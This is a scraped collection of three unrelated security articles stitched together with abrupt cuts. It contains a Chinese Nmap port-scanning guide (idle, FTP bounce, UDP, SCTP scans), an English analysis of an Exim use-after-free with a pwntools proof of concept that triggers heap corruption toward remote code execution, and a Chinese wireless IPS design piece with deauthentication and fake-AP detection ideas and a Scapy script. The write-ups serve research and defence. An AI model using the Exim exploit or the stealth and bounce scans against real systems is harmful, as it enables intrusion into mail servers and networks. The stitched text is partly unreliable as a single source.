Scan或许需要15分钟才能够完成。另一个问题就是你必须能够发送欺骗包，伪装成好像他们来自Zombie主机一般，让他们到达目标主机。许多ISP服务商（特别是拨号和住宅宽带供应商）目前执行出口过滤来防止这类数据包欺骗。高端供应商（比如说主机托管，T1-Services）就不太可能这么做。如果实际存在这个过滤，Nmap会在你尝试的每一个Zombie主机上显示一个快速错误消息。如果不能够更换ISP服务商，那么最好尝试在让ISP服务商给你更换一个IP。有时候这个过滤仅仅只是阻止了客户使用范围之外的欺骗IP地址。Idel
Scan另外一个难点就是你必须寻找一个正在工作的Zombie主机。
上述描述的是Idel Scan的基础水平。在Nmap上实现却是有些复杂，最关键的差异在于Nmap能够同时执行，而且误报少。
Parallelizing idle
scan由于是间接推导出端口所以，他比其他扫描方式要更加的猥琐。如果Nmap探测目标主机上的多个端口，然后检测Zombie主机上新的IP ID值，IP
ID的值增加了多少就显示出目标开放了多少个端口。实际上这并不是一个和严重的问题，绝大多数端口在大型扫描结果中基本上都是被关闭或者被过滤。由于只有开放端口才可以让IP
ID值增加，Nmap会认为没有增加量，然后整个组的端口就被标记成了关闭或者被过滤。Nmap可以并行扫描一百组端口。如果Nmap在探测一组端口的时候Zombie主机IP
ID同时也增加了，就说明在这一组端口中一定有开放的端口。Nmap继而使用二进制搜索发现开放的端口。它将数据组分成两份，分别发送探测信息，如果一个数据组显示没有开放端口，那么这一数据组的端口都将被标记为被关闭或者被过滤。如果一个数据组显示有开放端口，那么在把这个数据组分成两份，重复以上步骤，直到最终将开放端口都找出来。虽然这种方式更复杂，但是这种方式可以节约扫描时间。
可靠性是Idel Scan的另一个问题。如果Zombie主机在扫描时向任何不相干的机器发送数据包，其IP
ID会增加。这就会让Nmap误以为已经寻找到开放的端口了。幸运的是，并行扫描在这里也是有很大作用的。如果Nmap在一个组中扫描100个端口，那么IP
ID就会增加标识两个开放端口，Nmap将这组数据分成50端口一个小组。当Nmap同时在两个小组中进行IP ID扫描时，Zombie主机IP
ID总的增加量就在加了一次。另外，Nmap如果探测到不一致，那么它会重新探测。基于检测可靠的Zombie主机，Nmap还会修改组大小以及扫描时间。如果Nmap发现有大量不一致的结果，它将退出，并提示用户选择更好的Zombie主机。
具体操作可以参考[TCP Idle Scan (-sI)](https://nmap.org/book/idlescan.html)
## TCP Maimon Scan
Maimon Scan 以其发现者 Uriel Maimon 命名。 他在 Phrack 杂志第49期（1996年11月）中描述了这种技术。
除了探测器是FIN / ACK之外，此技术与NULL，FIN和Xmas扫描完全相同。 根据RFC
793（TCP），响应于这样的探测，应该生成RST分组，无论端口是打开还是关闭。 但是，如果端口打开，许多BSD派生系统只会丢弃数据包。
Nmap利用这一点来确定开放端口，如下表所示：
Nmap 对 TCP Maimon Scan 的处理：
Probe Response | Assigned State
---|---
No response received (even after retransmissions) | `open | filtered`
TCP RST packet | `closed`
ICMP unreachable error (type 3, code 1, 2, 3, 9, 10, or 13) | `filtered`
### usage
nmap -sM para
Starting Nmap ( http://nmap.org )
All 1000 scanned ports on para (192.168.10.191) are: closed
MAC Address: 00:60:1D:38:32:90 (Lucent Technologies)
Nmap done: 1 IP address (1 host up) scanned in 4.19 seconds
## TCP FTP Bounce Scan
FTP协议（RFC
959）的一个有趣特性是支持代理FTP连接。这允许用户连接到一个FTP服务器，然后要求将文件发送到第三方服务器。这样的功能在很多层面上被滥用，因此大多数服务器已停止支持它。此功能允许的滥用功能之一是通过
FTP 服务器进行扫描其他主机端口。只需要求 FTP
服务器依次将文件发送到目标主机的每个端口就可以了。回显消息将描述端口是否打开。这是绕过防火墙的好方法，因为内部的 FTP 服务器通常放置在比旧的
Internet 主机都能访问到的其他主机的位置上。
Nmap支持使用-b选项进行FTP反弹扫描。它采用`<username>:<password>@<server>:<port>`形式的参数。
`<Server>`是易受攻击的FTP服务器的名称或IP地址。与普通URL一样，您可以省略`<username>:<password>`，在这种情况下，将使用匿名登录凭据（`user:anonymous
password:-wwwuser@`）。端口号（和前面的冒号）也可以省略，在这种情况下，使用`<server>`上的默认FTP端口（21）。
使用 FTP Bounce Scan
较为频繁的用户更好地习惯了对回显消息的处理。这个漏洞在1997年Nmap发布时很普遍，但已在很大程度上得到修复。易受攻击的服务器仍然存在，所以当其他所有服务器都失败时，这个方法值得一试。如果您的目标是绕过防火墙，请扫描目标网络以查找开放的21端口（如果使用版本检测扫描所有端口，则扫描任何FTP服务），然后尝试使用每个端口进行
Bounce Scan。
Nmap会告诉您主机是否容易受到攻击。如果您只是试图掩盖您的曲目，您不需要（事实上，不应该）限制目标网络上的主机。在为易受攻击的FTP服务器扫描随机Internet地址之前，请考虑系统管理员可能不会允许这样滥用其服务器。
### usage
Nmap 扫描方式：
nmap -p 22,25,135 -Pn -v -b XXX.YY.111.2 scanme.nmap.org
Starting Nmap ( http://nmap.org )
Attempting connection to ftp://anonymous:-wwwuser@@XXX.YY.111.2:21
Connected:220 JD FTP Server Ready
Login credentials accepted by ftp server!
Initiating TCP ftp bounce scan against scanme.nmap.org (64.13.134.52)
Adding open port 22/tcp
Adding open port 25/tcp
Scanned 3 ports in 12 seconds via the Bounce scan.
Nmap scan report for scanme.nmap.org (64.13.134.52)
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
135/tcp filtered msrpc
Nmap done: 1 IP address (1 host up) scanned in 21.79 seconds
# UDP
在TCP/IP模型中，UDP为网络层以上和应用层以下提供了一个简单的接口。UDP只提供数据的不可靠传递，它一旦把应用程序发给网络层的数据发送出去，就不保留数据备份（所以UDP有时候也被认为是不可靠的数据报协议）。UDP在IP数据报的头部仅仅加入了复用和数据校验字段。
UDP适用于不需要或在程序中执行错误检查和纠正的应用，它避免了协议栈中此类处理的开销。对时间有较高要求的应用程序通常使用UDP，因为丢弃数据包比等待或重传导致延迟更可取。
## UDP SCAN
UDP扫描比较简单，一般如果返回`ICMP port
unreachable`说明端口是关闭的，而如果没有回应或有回应(有些UDP服务是有回应的但不常见)则认为是`open`，但由于UDP的不可靠性，无法判断报文段是丢了还是没有回应，所以一般扫描器会发送多次，然后根据结果再判断。这也是为什么UDP扫描这么慢的原因。
虽然因特网上最流行的服务运行在TCP协议上，但UDP服务被广泛部署。 DNS，SNMP和DHCP（注册端口53,161 /
162和67/68）是最常见的三种。 由于UDP扫描通常比TCP更慢且更困难，因此某些安全审核员会忽略这些端口。
这是一个错误，因为可利用的UDP服务非常普遍，攻击者肯定不会忽略整个协议。
UDP扫描通过向每个目标端口发送UDP数据包来工作。 对于大多数端口，此数据包将为空（无有效负载），但对于一些更常见的端口，将发送特定于协议的有效负载。
根据响应或缺少响应，端口被分配给四种状态之一，如下表所示：
Nmap 对 UDP Scan 的处理：
Probe Response | Assigned State
---|---
Any UDP response from target port (unusual) | `open`
No response received (even after retransmissions) | `open | filtered`
ICMP port unreachable error (type 3, code 3) | `closed`
Other ICMP unreachable errors (type 3, code 1, 2, 9, 10, or 13) | `filtered`
### usage
Nmap 选项参数：
nmap -sU scanme.nmap.org
Nmap 有很多选项可以提升 UDP Scan 的准确性与速度，这里不再深入讲解，具体可以参考[UDP Scan
(-sU)](https://nmap.org/book/scan-methods-udp-scan.html)
# ICMP
ICMP 格式：
> 根据网络协议，如果按照协议出现了错误，那么接收端将产生一个icmp的错误报文。这些错误报文并不是主动发送的，而是由于错误，根据协议自动产生。
ICMP 相关类型解释：
一般如果数据包被防火墙过滤的话，会收到一个 ICMP 数据包，其中类型为3，代码为1，2，3，9，10或13。
## ICMP SCAN
常见的利用：
# SCTP
这里我们简单介绍一下 SCTP 协议。
> 流控制传输协议（英语：Stream Control Transmission
> Protocol，缩写：SCTP）是在2000年由IETF的SIGTRAN工作组定义的一个传输层协议。RFC
> 4960详细地定义了SCTP，介绍性的文档是RFC 3286。
>
>
> 作为一个传输层协议，SCTP可以理解为和TCP及UDP相类似的。它提供的服务有点像TCP，又同时将UDP的一些优点相结合。是一种提供了可靠、高效、有序的数据传输协议。相比之下TCP是面向字节的，而SCTP是针对成帧的消息。
>
> SCTP主要的贡献是对多重联外线路的支持，一个端点可以由多于一个 IP地址 组成，使得传输可在主机间或网卡间做到透明的网络容错备援。
>
> SCTP最初是被设计用于在IP上传输电话协议（SS7），把 SS7 信令网络的一些可靠特性引入IP。IETF 的这方面的工作称为信令传输
> SIGTRAN。
>
> SCTP将数据传给应用层的方式，是将数据视为message（bytes的集合），SCTP的特征是message-> oriented，意思就是说它发送的是一串message（每一个message是byte为单位的集合），相对于TCP是以byte为单位，发送的是破碎的流。在SCTP发送端用一个动作提交消息，接收端也是用一个动作取出消息传给对应的应用程序。相较于TCP，是一个流导向的协议，可靠地且有顺序地发送以bytes为单位的流。然而TCP并不允许接收端知道发送端的应用程序调用提交bytes集合的次数。在发送端TCP只是简单的附加更多bytes在queue里等待着送到网络上，而SCTP是将要提交的outband
> message都保有自己独立的queue。
简而言之，SCTP是TCP和UDP协议的一种相对较新的替代方案，它结合了TCP和UDP的大多数特性，还增加了多宿主和多流等新功能。它主要用于SS7 /
SIGTRAN相关服务，但也有可能用于其他应用程序。
下图是 TCP 与 SCTP 建立连接的对比图：
## SCTP INIT scan
SCTP INIT扫描是TCP
SYN扫描的SCTP等效物。它可以快速执行，在快速网络上每秒扫描数千个端口，而不受限制性防火墙的限制。与SYN扫描一样，INIT扫描相对不显眼且隐蔽，因为它永远不会完成SCTP关联。它还允许在打开，关闭和过滤状态之间进行清晰，可靠的区分。
此技术通常称为半开扫描，因为您不打开完整的SCTP关联。您发送一个INIT块，就好像您要打开一个真正的关联，然后等待响应。 INIT-ACK块表示端口正在侦听（打开），而ABORT块表示非侦听器。如果在多次重新传输后未收到响应，则将端口标记为已过滤。如果收到ICMP不可达错误（类型3，代码0,1,2,3,9,10或13），则端口也会被标记为已过滤。
### usage
nmap -sY ip
## SCTP COOKIE ECHO SCAN
SCTP COOKIE ECHO SCAN 是一种更先进的SCTP扫描。 它利用了SCTP实现应该在开放端口上静默丢弃包含COOKIE
ECHO块的数据包这一事实，但如果端口关闭则发送ABORT。 这种扫描类型的优点是端口扫描不像INIT扫描那么明显。
此外，可能存在阻止INIT块的非状态防火墙规则集，但不阻止COOKIE ECHO块。 不要误以为这会使端口扫描不可见; 一个好的IDS也能够检测到SCTP
COOKIE ECHO扫描。 缺点是SCTP COOKIE ECHO扫描不能区分打开和过滤的端口，在这两种情况下都会打开状态。
### usage
nmap -sZ ip
# IP
## IP Scan
IP协议扫描允许您确定目标计算机支持哪些IP协议（TCP，ICMP，IGMP等）。这在技术上不是端口扫描，因为它循环通过IP协议号而不是TCP或UDP端口号。然而，它仍然使用`-p`选项来选择扫描的协议号，以正常的端口表格式报告其结果，甚至使用与真正的端口扫描方法相同的底层扫描引擎。所以它足够接近它所属的端口扫描。
协议扫描的工作方式与UDP扫描类似。它不是遍历UDP数据包的端口号字段，而是发送IP数据包标头并迭代通过8位IP协议字段。标头通常是空的，不包含任何数据，甚至不包括所声明协议的正确标头。某些流行协议（包括TCP，UDP和ICMP）例外。包含适当的协议头，因为一些系统不会发送它们，因为Nmap已经具有创建它们的功能。协议扫描不是在观察ICMP端口不可达消息，而是在寻找ICMP协议不可达消息。如下表显示了对IP探测的响应如何映射到端口状态。
Nmap 对 IP Scan 的处理：
Probe Response | Assigned State
---|---
Any response in any protocol from target host | `open` (for protocol used by
response, not necessarily probe protocol)
ICMP protocol unreachable error (type 3, code 2) | `closed`
Other ICMP unreachable errors (type 3, code 1, 3, 9, 10, or 13) | `filtered`
(though they prove ICMP is open if sent from the target machine)
No response received (even after retransmissions) | `open | filtered`
与TCP或UDP协议中的开放端口一样，每个开放协议都是潜在的利用向量。此外，协议扫描结果有助于确定机器的用途以及采用何种类型的数据包过滤。终端主机通常只有TCP，UDP，ICMP和（有时）IGMP打开，而路由器通常提供更多，包括路由相关协议，如GRE和EGP。防火墙和VPN网关可能会显示与加密相关的协议，如IPsec和SWIPE。
与UDP扫描期间收到的ICMP端口不可达消息一样，ICMP协议不可达消息通常是速率限制的。例如，默认Linux
2.4.20框中每秒发送的ICMP目标无法访问响应不超过一个。由于只有256个可能的协议号，因此与65,536端口UDP扫描相比，这不是问题。
### usage
协议扫描的使用方法与命令行上的大多数其他扫描技术的使用方法相同。除了一般的Nmap选项外，请简单指定`-sO`。普通端口`-p`选项用于选择协议号。或者，您可以使用`-F`扫描nmap-protocols数据库中列出的所有协议。默认情况下，Nmap扫描所有256个可能的值。
nmap -sO 62.233.173.90 para
Starting Nmap ( http://nmap.org )
Nmap scan report for ntwklan-62-233-173-90.devs.futuro.pl (62.233.173.90)
Not shown: 240 closed ports
PROTOCOL STATE SERVICE
1 open icmp
4 open|filtered ip
6 open tcp
8 open|filtered egp
9 open|filtered igp
17 filtered udp
47 open|filtered gre
53 filtered swipe
54 open|filtered narp
55 filtered mobile
77 filtered sun-nd
80 open|filtered iso-ip
88 open|filtered eigrp
89 open|filtered ospfigp
94 open|filtered ipip
103 filtered pim
Nmap scan report for para (192.168.10.191)
Not shown: 252 closed ports
PROTOCOL STATE SERVICE
1 open icmp
2 open|filtered igmp
6 open tcp
17 filtered udp
MAC Address: 00:60:1D:38:32:90 (Lucent Technologies)
Nmap done: 2 IP addresses (2 hosts up) scanned in 458.04 seconds
# Reference
[扫描器原理总结](https://hellohxk.com/blog/scanning-principle/)
[端口扫描原理及实现](https://xiaix.me/duan-kou-sao-miao-yuan-li-ji-shi-xian/)
[Nmap Docs- Chapter 5. Port Scanning Techniques and
Algorithms](https://nmap.org/book/scan-methods.html) | 社区文章 |
**Author: Hcamael@Knownsec 404 Team**
**Chinese Version:<https://paper.seebug.org/479/>**
After I posted my last paper _[Exim UAF Vulnerability
Analysis](https://paper.seebug.org/1028/ "Exim UAF Vulnerability Analysis")_ ,
I got some inspiration from @orange and got to know that meh's PoC needs
special configuration to trigger. Then I did research on how to trigger the
vulnerability after modifying the configuration and how to trigger the
vulnerability in a default situation.
#### Recurrence
Comment out `control = dkim_disable_verify` in the `/usr/exim/configure` file.
Adjust the padding of the lower poc, then you can trigger the UAF
vulnerability and control rip
##### Trigger Under Special Configuration
There is a variable `dkim_disable_verify`, which will become `true` after
setting. If it is commented out, it will be the default value of `false`.
Let's look at the code in `receive.c`:
BOOL
Receive_msg(BOOL extract_recip)
{
......
1733: if (smtp_input && !smtp_batched_input && !dkim_disable_verify)
1734: dkim_exim_verify_init(chunking_state <= CHUNKING_OFFERED);
1735: #endif
In the `dkim_exim_verify_init` function :
Dkim_exim_verify_init -> pdkim_init_verify -> ctx->linebuf = store_get(PDKIM_MAX_BODY_LINE_LEN);
Bdat_getc -> smtp_getc -> smtp_refill -> dkim_exim_verify_feed -> pdkim_feed -> string_catn -> string_get -> store_get(0x64)
#define PDKIM_MAX_BODY_LINE_LEN 16384 //0x4000
As I've mentioned in the previous article, the reason why the UAF
vulnerability could not be successfully triggered is that the freed heap is at
the top of the heap and is merged with the top chunk after being released.
After commenting out the configuration of dkim, function `store_get` is
executed in the flow of the `dkim_exim_verify_init` function, and heap of
0x4000 size is applied. The `dkim_exim_verify_init` function and the
`dkim_exim_verify_feed` function both have the same code as below:
Store_pool = POOL_PERM;
......
Store_pool = dkim_verify_oldpool;
--------------- Enum { POOL_MAIN, POOL_PERM, POOL_SEARCH };
The global variable `store_pool` has been modified to 1. As exim implements a
set of heap management, so when `store_pool` is different, it means the heap
is isolated and will not affect the use of heap management global variables
such as `current_block` in the `receive_msg` function.
When the dkim-related code is executed, the `store_pool` is restored.
A heap of 0x4000 size is applied. Since it is greater than 0x2000, the value
of `yield_length` becomes 0 after the application, which causes the
`store_get(0x64)` to apply for a heap again, so at last there are two heaps
stacked on heap1. After heap1 is released, it is put into unsortbin, and this
will trigger the UAF vulnerability and caused a crash.
##### Recurrence in Default Configuration
Under the guidance of @explorer, I find a way to trigger the vulnerability in
a default situation.
In fact, the key is to find a way to malloc a heap on heap1. I will start the
analysis from the beginning.
// daemon.c
137 static void
138 handle_smtp_call(int *listen_sockets, int listen_socket_count,
139 int accept_socket, struct sockaddr *accepted)
140 {
......
348 pid = fork();
352 if (pid == 0)
353 {
......
504 if ((rc = smtp_setup_msg()) > 0)
505 {
506 BOOL ok = receive_msg(FALSE);
......
First, when a new connection comes in, fork a child process, and then we will
enter the branch in the code above. `smtp_setup_msg` function is used to
receive the commands. We first send a bunch of invalid commands (padding),
control the value of `yield_length` to be less than 0x100. Because the command
is invalid, the process enters `smtp_setup_msg` again.
At this time we send a command `BDAT 16356`
There are some important operations:
5085 if (sscanf(CS smtp_cmd_data, "%u %n", &chunking_datasize, &n) < 1)
5093 chunking_data_left = chunking_datasize;
5100 lwr_receive_getc = receive_getc;
5101 lwr_receive_getbuf = receive_getbuf;
5102 lwr_receive_ungetc = receive_ungetc;
5104 receive_getc = bdat_getc;
5105 receive_ungetc = bdat_ungetc;
First is to assign the input 16356 to `chunking_data_left`.
Then replace `receive_getc` with the `bdat_getc` function.
After these operations, we will enter the `receive_msg` function. According to
the previous article, it showed that I applied for a 0x100 heap1.
Then go into `receive_getc=bdat_getc` to read the data:
534 int
535 bdat_getc(unsigned lim)
536 {
......
546 if (chunking_data_left > 0)
547 return lwr_receive_getc(chunking_data_left--);
`lwr_receive_getc=smtp_getc` gets 16356 strings from this function
First, we send 16352 a as the padding, and then the following process is
excuted:
* store_extend return 0 -> store_get -> store_release
It first applied for a 0x4010 heap2, and then released the heap1 with a length
of 0x2010
Then send `:\r\n` to the following code branch:
1902 if (ch == '\r')
1903 {
1904 ch = (receive_getc)(GETC_BUFFER_UNLIMITED);
1905 if (ch == '\n')
1906 {
1907 if (first_line_ended_crlf == TRUE_UNSET) first_line_ended_crlf = TRUE;
1908 goto EOL;
1909 }
Jumped to EOL. The most important is the last few lines of code:
2215 header_size = 256;
2216 next = store_get(sizeof(header_line));
2217 next->text = store_get(header_size);
2218 ptr = 0;
2219 had_zero = 0;
2220 prevlines_length = 0;
2221 } /* Continue, starting to read the next header */
Some variables are re-initialized. Since the padding has executed
`store_get(0x4000)`, so `yield_length=0`. At this time, calling store_get
again will apply for a 0x2000 heap. Right in unsortbin, it is found that the
size of heap1 is just right. So this time we will get heap1. At the top of
heap1, there is a unreleased 0x4010 heap which has been used by `next->text`.
The PoC is as follows:
r = remote('localhost', 25)
R.recvline()
R.sendline("EHLO test")
R.recvuntil("250 HELP")
R.sendline("MAIL FROM:<test@localhost>")
R.recvline()
R.sendline("RCPT TO:<test@localhost>")
R.recvline()
# raw_input()
R.sendline('a'*0x1300+'\x7f')
# raw_input()
R.recvuntil('command')
R.sendline('BDAT 16356')
R.sendline("a"*16352+':\r')
R.sendline('aBDAT \x7f')
s = 'a'*6 + p64(0xabcdef)*(0x1e00/8)
R.send(s+ ':\r\n')
R.recvuntil('command')
#raw_input()
R.send('\n')
##### Exploit
According to the article published by CVE , it is learned that fflush of file
IO is used to control the first parameter, then the vtable is forged by heap
blasting and memory enumeration, and it will finally jumps to the
`expand_string` function to execute the command. I studied the related use of
`_IO_FILE` in ctf and then implement RCE. The result is as follows:
#### Reference link
1. <https://devco.re/blog/2017/12/11/Exim-RCE-advisory-CVE-2017-16943-en/>
* * * | 社区文章 |
# 【技术分享】基于检测防御企业无线安全威胁的WIPS设计
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**作者：**[ **icecolor**](http://bobao.360.cn/member/contribute?uid=775238387)
**稿费：500RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿**
**传送门**
[**【技术分享】
企业无线安全解决方案——分析无线攻击行为与制定防御规则安全策略**](http://bobao.360.cn/learning/detail/3613.html)
**前言**
随着企业对安全的重视，应用于各种网络环境的IPS应运而生。企业无线网络其实是一个脆弱点。
参看360天巡团队的一篇文章[[2015企业无线网络安全报告]](http://www.freebuf.com/articles/wireless/72084.html)，就是一个无线网络缺陷引发的血案。
无线网络出现威胁的时候，不单单是无线网络的威胁，更是 **内网** 威胁！
**关于企业无线网络威胁**
简单的画了个图，顺便推荐一下，<https://www.processon.com/>这个在线画图网站，真的很赞。我是刚知道的，大家有做PPT的可以用下。
从图上可知，防火墙并不能保护无线边界的安全，任何一个无线入口，都会成为公司网络沦陷的关键.内网安全、vpn等等。可以具体了解下现流行的无线攻击手段：
**Fake AP**
黑客会生成一个与合法AP SSID一样的恶意热点，然后进行对合法热点进行DOS攻击使其合法客户端连接到hack
AP上从而进行一系列的密码获取和流量窃取用户劫持等。
**Denial of Service**
拒绝服务会导致路由器与客户端断开，崩溃、无限重连。/Deauth解除认证攻击来获取握手包进行暴力破解。
**Rogue AP**
攻击者可以建立一个带有诱惑字样的热点名称，如：SSID=freewif等引诱被害人连接，进行hacking。
**Ad-hoc/私建热点**
上面那文章也提到了天河一号私建热点的情况,员工的私建热点，员工私建热点一但被攻破公司网络将面临严重威胁。
**Router backdoor vulnerability**
最近网络中也爆出了很多关于CISCO、D-link的一系列的后门漏洞和代码执行，还有一些诸如CSRF类的漏洞。都是一些无线安全威胁。
所以，黑客在获得无线网络权限后，假设被攻击者的网段在公司有很高的权限，那后果可想而知。并且，你的VPN网络也会收到威胁。
**关于WIPS的设计阐述**
中国的WIPS市场不太多，目前我就知道有几家做了：360-天巡、启明星辰有。然后山东有一个小公司也有叫什么我忘了。绿盟我听别人说有，但我没找到。
国外品牌挺多的，也挺厉害的，我找其中一家公司还要过演示视频，发了十几封邮件，光职业我就换了很多，什么programmer/security
engineer/Student/CTO/连厨师我都写过，可人家没鸟我。
由于是无线网络的原因，IPS还有一部分是一个接收和扫描信号的传感器硬件。我这里也没有那东西，也没办法详细剖析硬件，只说技术层面的东西。
我内心认为的一个WIPS功能：（只是自己的想法，不代表大众）
**WIPS的部署与结构**
在公司办公楼内，根据传感器的传输能力来均衡部署。中控服务负责处理数据，服务器负责一些配置运行，控制台负责时时监控无线信息。简单来说它们的工作就是：
入侵检测—传感器—策略执行
**入侵检测识别**
**（一）Identify DOS Attack**
DOS攻击有很多种，什么Authentiction Flood 、De-Authentcation Flood、Association
Flood、Beacon Flood 等等。
Deauth
Flood：这个在常见无线攻击中，是最常用的，应该也是最常见的，当Client对AP进行认证的时候，过程可以使用一些Radius、EAP等安全协议来认证Client，然后它们就连在一起了，这时候如果接收到Deauth的框架信息，就会与客户端分离.迫使再次重新连接进行拒绝服务。可以延伸的问题就是1.handshake
被抓2.再次连接的到AP可能是hack AP。
Client和AP之间的连接是通过各种数据帧交换建立起来的，Client与AP连接后，交换了
ManagementFrame，一些身份验证和ASSOC。
我以前在《企业级无线渗透与无线数据浅析》里好像提过Deauth，我曾经把Deauth的数
据和正常数据进行比对，结果是一样的，但比对数据可以识别攻击，就是不能0误报。
这里还面临着一个问题，如果攻击者是单纯的进行拒绝服务，你可以去做出识别并阻断，而如果攻击者的意图在于捕获HandShake进行破解，那你的识别就显得无力，因为一个AP在Client数量很多，数据流畅的时候，基本上第一个Deauth就已经能捕获了。
Identify Rules
其实针对这种攻击呢，称为链路层攻击，在MAC层做这种检测。其实MAC层做检测要比在IP层要好的多，因为IP可以分配给不同的计算机，而MAC都是与计算机网卡相关的地址。计算机的第二链路层负责MAC地址。所以很多针对链路层的攻击的检测都从MAC地址下手。
1\. IPS检测这种攻击只要看到大量的帧之后，就可以启动报警，帧的数量参数由自己来定。
我们可以根据Management Frames的类型和Authentication报文进行检测Deauth：
我自己搞的这个Handshake包为合法数据，Deauth包为我用aireplay发送的包。
2\.
还有就是我之前想过两个方法，可以指定一个阈值为Deauth，收到Deauth报警时，做出判断机制，如果是用于WPA/WPA2的机制，就去警告用户去修改密码。就算hack收到了握手包也没有用.不过这个办法就是麻烦。另一个是根据接受包的一些时间限制，Deauth一般都比合法断连要快。
3\. 其实思路不能全局限于Deauth数据上，我们可以在Client上做一些手脚，例如网卡或者接入点AP什么的有一些限制机制，去阻止Deauth。
4\. 还有一些其他的DOS，举两个例子，一个是针对802.1X的EAPOL Logoff。
还有一个就是Authentication Flood
Attack，这是一种验证请求攻击模式：在这个模式里，软件自动模拟随机产生的mac向目标AP发起大量验证请求，可以导致AP忙于处理过多的请求而停止对正常连接客户端的响应；这个模式常见的使用是在reaver穷据路由PIN码，当遇到AP被“pin死”时，可以用这个模式来直接让AP停止正常响应，迫使AP主人重启路由！
大家都可以根据报文去分析，防御。当然，在WIPS里面，不是单单写入Deauth的防御规则就可以了，一定要每种攻击都防御。
5\. 在802.11W协议中，用了共享密钥技术，密钥在AP和client之间共享，解决了Management
Frames安全但是目前这个标准还没获得更多的系统支持，也许稳定性什么的都有不算太好。
6\. 针对这种链路层的攻击呢，要普及一些MAC Frames的知识，对识别攻击和分析数据很重要。
这是一个完整的MAC
Frames格式，包括三部分：帧头、帧体、帧效验序列。而帧头又包括：帧控制、持续时间、地址、和序列控制信息。帧效验就是CRC效验。帧控制字段是个很重要的东西：
TO/Frome
DS里面的意思可对照http://www.willhackforsushi.com/papers/80211_Pocket_Reference_Guide.
pdf
我上面用红字标识的，都是对检测有用的，这篇PDF有一些解释，没必要把里面的全都贴进来，大家自己看吧，写的很详细。
把这篇PDF后半段读明白，基本明白的也差不多了。
你要对捕获的MAC帧地址进行分析，要分析Frames type ，目的MAC，源MAC，SSID，Channel等信息进行检测。所以MAC
Frames必须要明白一些的。
**
**
**（二）Identify Fake AP**
在802.1X企业中，最容易遭受到的就是Fake AP了。
不管你的无线是Radius架构，还是AC+AP。这种攻击都是很令人头疼的。
黑客先建立一个与你同SSID的热点，运用DOS Attack将合法Client强制断掉AP，当Client再次执行关联请求时，已经被劫持到Fake
AP上，进行劫持，密码窃取等行为。
Identify Rules
（1）提个简单思路，先将合法的AP MAC加入白名单，之前提过一次：
在WIPS的保护，开始时时监听扫描范围无线热点：
1.发现其SSID与企业热点相同或类似的/无密码保护的，信道异常，应立刻进行阻断，名单规则应为‘非白即黑’。
2.WIPS应设置每个热点的建立时间，并进行记录其运行时间，发现其热点时间不匹配的，应尽快阻断。
（2）还有一种就是基于Timestamp的检测。当一个Fake AP建立的时候，它要创建一个Management Frames
Beacon，每一个客户端都将包含一个Timestamp，这个时间戳应该是逐渐增长的，有一定规律的，是同步的，在802.11里面叫做TSF。而Fake AP
是没这个概念的，会出现一些偏差，老外根据这个写了一个检测脚本，就是预先设定一个值，看看是否会越过这个值。
import sys, scapy, datetime
from scapy.all import *
from sets import Set
THRESH = 5
global ssidDict
global ssidCnt
def monitorPackets(p):
global ssidDict
global ssidCnt
if p.haslayer(Dot11):
if (p.getlayer(Dot11).subtype==8):
ssid = p.getlayer(Dot11).info
bssid = p.getlayer(Dot11).addr2
stamp = str(p.getlayer(Dot11).timestamp)
if bssid not in ssidDict:
ssidDict[bssid] = []
ssidCnt[bssid]=0
elif (long(stamp) < long(ssidDict[bssid][len(ssidDict[bssid])-1])):
ssidCnt[bssid]=ssidCnt[bssid]+1
if (ssidCnt[bssid] > THRESH):
print "[*] - Detected fakeAP for: "+ssid
ssidDict[bssid].append(stamp)
interface=sys.argv[1]
ssidDict = {}
ssidCnt = {}
start = datetime.datetime.now()
sniff(iface=interface,prn=monitorPackets)
它没给使用文档，基本上这种情况加个监听参数就可以了，切记装了Scapy。
**
**
**（三）Identify Rogue AP**
流氓热点呢，跟上面的Fake AP类似，比如，我在一个商场内，起一个热点，名为：Freewifi，基本上就GG了，在公司，学校，更要多一点。什么CMCC-EDU，ChinaNet……
Identify Rules
（1）对任何信息不匹配的AP都将进行阻断。
针对Rogue AP的检测也是要时时监控MAC地址及SSID，对一些未连接密码或者SSID较为敏感的AP进行隔离阻断。
（2）对白名单的规则设置也要注意：是要只允许指定MAC连接，并且MAC地址唯一。
Rogue AP我觉得不能单纯的是认为是hack AP，我觉得应该严谨点：一切未授权的访问设备！不论其意图！一旦Rogue AP
未被阻止，可能导致ARP中毒，DHCP攻击、STP攻击、DoS攻击等。所以，要预先配置授权列表达到防御效果：
（3）处理 Ad-hoc/私建热点
Ad-hoc是一种自配置网络的移动节点，ad-hoc攻击里面有两个常见的数据流量攻击分类：
1\. DATA traffic attack
2\. CONTROL traffic attack
还有就是私建热点问题，其实这个是很存在安全隐患的，可能一些公司规定不让使用无线网，或者是限制无线网络的热点数量，所以才导致员工私建热点。私建热点会导致热点被入侵攻击威胁到企业网络安全。可能有的员工会觉得把SSID隐藏了就没人找到了。
拜托大哥，一个Kismet+DOS attack就教做人了好不，
Hidden SSID，根本就算不上一个安全机制，你骗你邻居还行，对抗IPS是不可能的。
Identify Rules
（1）所以，第一要杜绝Ad-hoc网络的组建，二是要对传感器覆盖区域进行扫描，不管是隐藏的还是非隐藏的一些未授权SSID，全部阻断。
（2）加强员工教育吧，毕竟这是人为的事。
**
**
**（四）Defense Router backdoor vulnerability**
D-link，Cisco TP-link等路由器厂商，都供有专门的企业版路由器，或者一些小公司都是直接用的路由器，那么WIPS里面应有检测硬件设备漏洞这一功能，例如有个RouteSploi漏洞框架：
还有一个叫<https://github.com/jh00nbr/Routerhunter-2.0>的路由器扫描器，也不知道这个作者是不是对D-link有意见，放的D-link漏洞最多，虽说D-link漏洞就是很多。
平常用户以及企业安全意识薄弱，对路由器安全更是薄弱，对路由器固件什么的一些升级也不太懂，一个标准的WIPS，这些功能我觉得是该有的。
当扫描出来存在漏洞时，应及时推送补丁供其下载，保证系统安全。
**
**
**WIPS的其他辅助功能**
**（1）热点阻断**
当我们发现一个有威胁的热点时，我们要将其阻断，阻断方式就为向该AP进行DOS攻击。DOS攻击很多种，上面也说了，什么Auth，Deauth，Assoc。
Auth DOS：
当attacker向AP发送大量伪造的身份验证请求，当AP超出自身承受请求能力时，AP将与Client断开连接
Deauth
